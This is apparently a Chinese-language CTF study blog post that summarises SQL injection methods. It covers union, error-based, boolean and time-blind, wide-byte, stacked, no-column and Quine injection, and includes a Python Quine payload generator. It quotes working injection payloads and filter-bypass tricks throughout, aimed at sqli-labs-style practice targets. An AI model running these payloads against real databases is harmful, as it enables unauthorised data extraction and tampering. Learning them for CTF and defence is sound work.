sql注入总结

本文最后更新于 2024年7月24日 下午

前言:系统的再复习总结一次sql注入,最近比赛比较少见了,但还是要学会的。

一、sql注入的概念

SQL注入(SQL Injection)是一种网络攻击技术,攻击者通过在输入字段中插入恶意的SQL代码,利用应用程序对用户输入处理不当的漏洞,诱使其执行未经授权的SQL查询。这种攻击可以导致数据库中的敏感数据泄露、数据篡改或删除,甚至让攻击者获得对整个数据库系统的控制。SQL注入常见于不安全的Web应用程序中,是一种严重的安全威胁,通常需要通过参数化查询、预处理语句和输入验证等方法进行防御。是ctf比赛中常考的题目。

二、寻找sql注入点

通常sql注入的题目都有明显的特征,比如填表格,登陆账号这些。

1.在参数后面添加单引号或双引号,查看返回包,如果报错或者长度变化,可能存在Sql注入

判断:id=1’(常见)id=1” id=1’) id=1’)) id=1”) id=1”))

2.通常通过get,post,cookie等请求再到相应的http头信息查找敏感信息

3.构造不同的语句检测异常

三、sql注入类型

常见的主要还是MySQL注入,主要以这个为切入点。

建议可以搭建一个sql-labs的靶场,网上都有教程,自己检索。

联合注入

类型判断

数字型:select * from table where id =$id

字符型:select * from table where id='$id'

判断的时候通常通过永真式和永假式进行判断

1
2
3
1 and 1=1 #永真式   select * from table where id=1 and 1=1
1 and 1=2 #永假式 select * from table where id=1 and 1=2
#若永假式运行错误,则说明此SQL注入为数字型注入
1
2
3
1' and '1'='1
1' and '1'='2
#若永假式运行错误,则说明此SQL注入为字符型注入

字段个数

通常用order by查询字段的个数

挨个查通常就能查到临界值

用sql-labs第一题来测试一下,尝试

字段个数

字段个数1

如图可以判断出3是临界值

查找显示位

使用union select查找显示位,需要判断具体个数在前端显示,通常将前面的改成0或-1,这里的目的是使第一个查询不存在,显示第二个查询结果,通过显示得出显示位

显示位

爆库名

使用database(),返回当前的库名

爆库

爆表名

基于已知的库名进行爆表,主要有以下函数

group_concat():使数据能在一行输出

information_schema.tables:存储了数据表的元数据信息使用table_nametable_schema字段

爆表

爆列名

基于表名的基础上,进一步爆列名

与上文类似,用information_schema.columns和column_name来

爆列

爆信息

基于已知的列名爆出信息

1
?id=-1'union select 1,group_concat(email_id),3 from emails%23

想获得所有列对应的信息的可以使用concat_ws

爆信息

报错注入

本质使用函数报错,通过报错获得想要的数据,前提是后端没有屏蔽信息。

Xpath导致的报错

归类为 XPath 格式不正确或缺失导致报错

updatexml()

是改变 XML 文档中符合条件的值,其语法如下

1
updatexml(XML_document,XPath_string,new_value)

直接使用有缺陷会进行报错,XPATH syntax error: '~'

可以结合concat配合使用,如

1
and updatexml(1,concat(0x7e,(database()),0x7e),1)

报错

接着按上面的流程来爆表

值得注意的是该函数报错长度存在字符长度限制,所以需要limit限制读行如图所示

报错-1

除了limit限制之外,也可以使用substr(xxxxxx,1,30)这样的形式获得

extractvalue()

用于从 XML 格式的数据中提取指定节点的值。用法

1
extractvalue(XML_document,xpath_string)

语法基本和updatexml差不多,只是少一位,如图显示

报错-2

注意这里的报错限制和updatexml也是一致的

主键重复导致的报错

主键报错注入是由于rand()count()floor()三个函数和一个group by语句联合使用造成的,缺一不可

rand()函数的基础语法是这样的,它的参数被叫做 seed(种子),当种子为空的时候,rand()函数会返回一个[0,1)范围内的随机数,当种子为一个数值时,则会返回一个可复现的随机数序列

floor()函数的作用就是返回小于等于括号内该值的最大整数,也就是取整,它这里的取整不是进行四舍五入,而是直接留下整数位,去掉小数位,如果是负数则整数位需要加一,也就是去一法

count()得到行数

group by 列名

盲注

布尔盲注

在页面没有错误回显时完成的注入攻击。此时我们输入的语句让页面呈现出两种状态,相当于true和false,根据这两种状态可以判断我们输入的语句是否查询成功。

以sqli-labs举例当输入正确的时候只会回显一句话,输入错误的时候就没有回显。

判断数据库类型

使用exists()函数,通过语句判断是哪种类型

1
2
3
4
5
6
//判断是否是 Mysql数据库
exists(select*from information_schema.tables) --+
//判断是否是 access数据库
exists(select*from msysobjects) --+
//判断是否是 Sqlserver数据库
exists(select*from sysobjects) --+
判断数据库名

先通过length()函数和二分法判断出数据库的长度

bool

通过调整判断得到database的长度,然后进行尝试字母

可以直接使用判断

1
substr(database(),1,1)='s'

也可以结合ascii()来判断

1
ascii(substr(database(),1,1))=115
判断表字段

exists(select id from emails)–+可以直接懵看看

判断表的个数

1
(select count(table_name) from information_schema.tables where table_schema='security')=4 --+

判断表的长度

1
length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+

判断表的内容

这个是直接判断

1
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' --+

用ascii来判断

1
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
判断字段数据

先判断长度

1
length((select email_id from emails limit 0,1))>2--+

再判断内容

1
ascii(substr((select email_id from emails limit 0,1),2,1))>100 %23

通常布尔还是sqlmap来吧手注太累了

时间盲注

通过观察页面,既没有回显数据库内容,又没有报错信息也没有布尔类型状态,那么我们可以考虑用延时注入。延时注入就是将页面的时间线作为判断依据,一点一点注入出数据库的信息。

判断库名
1
and if(ascii(substr(database(),1,1))= 115,sleep(5),0) --+

if(expr1,expr2,expr3) 如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。

基本流程与布尔盲注类似

HTTP注入

流程基本相似,主要再UA头,cookie,Referer和xff这几种情况来看。

利用报错注入得到答案

宽字节注入

国内最常使用的 GBK 编码,这种方式主要是绕过 addslashes 等对特殊字符进行转移的绕过。反斜杠 \ 的十六进制为 %5c,在你输入 %bf%27 时,函数遇到单引号自动转移加入 \,此时变为 %bf%5c%27%bf%5c 在 GBK 中变为一个宽字符「縗」。%bf 那个位置可以是 %81-%fe 中间的任何字符。不止在 SQL 注入中,宽字符注入在很多地方都可以应用。

堆叠注入

分号(;)是用来表示一条sql语句的结束。在 ; 结束一个sql语句后继续构造下一条语句,会另外执行。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
堆叠注入

图中继续执行了更新id为1 的用户的密码信息

缺点:并不是每一个环境都适合堆叠注入,且在堆叠前还需要知道一些信息才能正常注入。

无列名注入

参考:文章

简单的讲以下核心的内容

正常在order by 之后知道字段个数后

比如使用查询,这里的默认是table

1
select 1,2,3 union select * from table;

接下来这个语句

1
select `2` from (select 1,2,3,4,5 union select * from table)a;

这样的查询,可以得到一个派生的表,这里的a是派生的表的别称

这里前面的2是引用的2的列,成了一个新的表

如果过滤了反引号

可以继续用别名代替,比如

1
select c from (select 1,2 as b,3,4 as c,5 as d union select * from table)a;

这里就是调用表里面的4的列。

再次基础上可以进行多表查询

1
select concat(b,0x2d,c) from (select 1,2 as b,3 as c,4,5 union select * from table)a;

这边的0x2d是-,这里的派生表2,3的表生成新的表。

这里利用join函数可以进行无column的查询

1
concat(0x7e,(select *from (select *from output a join output b)c))

因为是同一个表,构成的新表就会得到所有的列的信息,从而进行绕过。

例题参照[NISACTF 2022]join-us

Quine注入

参考文章,也是刷题偶观,记录一下

quine注入即查询的结果是查询的语句,举个简单的例子

1
select replace(".",char(46),".");

匹配字符串”.“中ascii码为46的字符并替换为”.“,也就是将”.“转换为”.”并返回

在实际替换中,单引号会变成双引号,可以引入char(34)和char(39)进行替换,比如

1
select replace("\"\"",char(34),char(39));

这里面是连续两个双引号用斜杠进行正常的输入,通过匹配会输出’’

所以替换的就变成了

1
'replace(replace(".",char(34),char(39)),char(46),".")'

这一步就是替换单双引号

1
select replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39));

然后替换为相关字符

1
select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

最后直接来个脚本吧,没太深入的明白,看看先能写题就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def input_sql():
sql = input("输入你的SQL语句, 不用写关键查询的信息 形如 1'union select #\n")
return sql
def replace_quotes(sql):
return sql.replace("'", '"')
def generate_base():
return "replace(replace('.',char(34),char(39)),char(46),'.')"
def add_base_to_sql(sql, base):
if "--+" in sql:
return sql.split("--+")[0] + base + "--+"
elif "#" in sql:
return sql.split("#")[0] + base + "#"
else:
return sql # 如果sql中没有注释符号,则返回原始sql
def patch_sql_with_base(base, sql):
if "--+" in sql:
return sql.split("--+")[0] + base + "--+"
elif "#" in sql:
return sql.split("#")[0] + base + "#"
else:
return sql # 如果sql中没有注释符号,则返回原始sql
def format_sql(sql):
return sql.replace(" ", "/**/").replace("'.'", '"."')

def main():
# 输入SQL语句
sql = input_sql()
# 替换单引号为双引号
sql2 = replace_quotes(sql)
# 生成base字符串
base = generate_base()
# 将base添加到sql语句中
sql_with_base = add_base_to_sql(sql2, base)
# 用base修补sql语句
patched_sql = patch_sql_with_base(base.replace(".", sql_with_base), sql)
# 格式化最终SQL语句
final_sql = format_sql(patched_sql)
# 输出最终结果
print(final_sql)
# 运行主函数
if __name__ == "__main__":
main()

例题

四、刷题笔记

过滤

过滤 or

使用||代替

过滤 =

使用like代替

过滤空格

使用/**/绕过


sql注入总结
http://example.com/2024/07/16/学习文章/sql注入/
作者
orange
发布于
2024年7月16日
许可协议